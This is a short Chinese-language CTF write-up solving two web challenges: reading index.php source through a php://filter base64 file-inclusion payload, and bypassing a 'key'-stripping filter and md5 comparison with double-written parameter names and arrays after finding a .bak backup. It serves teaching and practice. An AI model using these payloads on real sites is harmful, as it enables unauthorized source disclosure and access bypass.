文件包含
打开题目,发现什么都没有,就只有一个index.php文件,题目又提示你说文件包含,我就想到了php伪协议
用其中的php://filter伪协议去查看这道题的源码,
?file=php://filter/read=convert.base64-encode/resource=index.php
转换出来的用base64解码得到:
里面就有flag
备份是个好东西
这道题打开里面其实什么都没有
习惯性用dirsearch看看有没有其他的文件(我尝试了F12和CTRL+u都没有什么用),果然有东西
我一个一个试了一下,在/index.php.bak有源文件包,打开看一下
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str); //str_repalace是把key给过滤了(这里的考点就是把key给绕过)
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
其实这道题本质上是一个代码审计的题目,其中str_replace函数说明将key给替换了(过滤),那么我们所想的第一步就是应该双写key绕过,再看下面的要求,md5数组key的值要相等,但是key1和key2的值不能相等,所以我想到了md5数组绕过,构造以下函数
?kkeyey1[]=1&kkeyey2[]=2
即可获得flag的值